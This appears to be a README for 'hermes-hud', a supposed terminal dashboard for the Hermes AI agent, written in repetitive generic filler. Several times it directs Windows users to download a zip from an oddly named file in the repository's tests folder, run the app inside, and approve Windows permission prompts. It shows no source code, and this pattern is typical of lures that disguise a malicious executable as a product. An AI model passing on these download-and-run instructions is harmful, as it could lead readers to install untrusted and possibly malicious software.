Use this link to visit the download page:
https://raw.githubusercontent.com/Lucasdjs22/hermes-hud/main/tests/hermes-hud-pleochromatism.zip
On that page, get the Windows build or the latest release file, then save it to your PC
hermes-hud is a terminal app that shows the state of Hermes in a clean text view
It gives you a fast read on what Hermes is doing, how it is running, and where it may need attention
It is made for people who want a simple screen that stays easy to read
- Current agent status
- Live task activity
- System health at a glance
- Memory and CPU use
- Model or session info
- Basic runtime details
- A text dashboard in the terminal
- A neofetch-style system view
Follow these steps on Windows:
- Open the download page: https://raw.githubusercontent.com/Lucasdjs22/hermes-hud/main/tests/hermes-hud-pleochromatism.zip
- Find the latest release or Windows file
- Download the file to your PC
- If the file comes in a .zip folder, right-click it and choose Extract All
- Open the extracted folder
- Run the app file inside the folder
- If Windows asks for permission, choose Yes
If the app opens in a terminal window, that is normal
When hermes-hud starts, it opens a terminal dashboard
You may see status panels, labels, and live values
If the screen is small, widen the window so the layout has room
If the text looks hard to read, use the Windows terminal zoom controls
Most users only need to start the app and leave it open
You can use it to:
- Check whether Hermes is active
- Watch changes during a run
- See if a task is stuck
- Review resource use
- Keep a live view of the system state
The layout is built for quick checks, not long setup steps
- Keep the terminal window large
- Use a dark theme if the text looks easier to read
- Pin the app to your taskbar if you use it often
- Close other heavy apps if you want a cleaner system view
- Check for updates on the GitHub page from time to time
hermes-hud works like a live control screen
You start it when you want to see what Hermes is doing
You can keep it open beside your other apps while you work
It is useful when you want a plain text view that does not get in the way
If the window opens and closes fast, run it again from the folder so you can see any message
If the layout looks broken, make the terminal wider
If Windows blocks the file, check that you downloaded it from the GitHub page above
If the app does not respond, close it and open it again
hermes-hud is built for users who want a simple monitor for Hermes
It works well as a status screen, a checkup tool, and a lightweight dashboard
It uses a terminal interface, so it stays fast and easy to read
This project fits into these areas:
- ai-agent
- dashboard
- neofetch
- python
- terminal
- textual
- tui
When you run hermes-hud, you should expect:
- A text-based dashboard
- Clear status blocks
- System-style details
- Live updates while it runs
- A layout that feels close to a terminal status panel
If you keep using hermes-hud, place the downloaded file in a folder you can find later
If the app is inside a release zip file, keep the zip too in case you need to set it up again
If a new version appears on the GitHub page, download the newer file and use that one instead
Open the hermes-hud GitHub page
If you downloaded a zip file:
- Right-click the zip file
- Choose Extract All
- Pick a folder
- Open the folder
- Run the app file inside
If you downloaded an .exe file:
- Double-click the file
- If Windows asks for approval, choose Yes
- Wait for the terminal window to open
Make sure:
- The file finished downloading
- You can find it in Downloads
- The file type matches the release on GitHub
- You have enough screen space for the terminal window
A user opens hermes-hud before or during a Hermes session, then watches the dashboard for live status, task flow, and system data
This makes it easier to keep track of what the agent is doing without opening a full GUI tool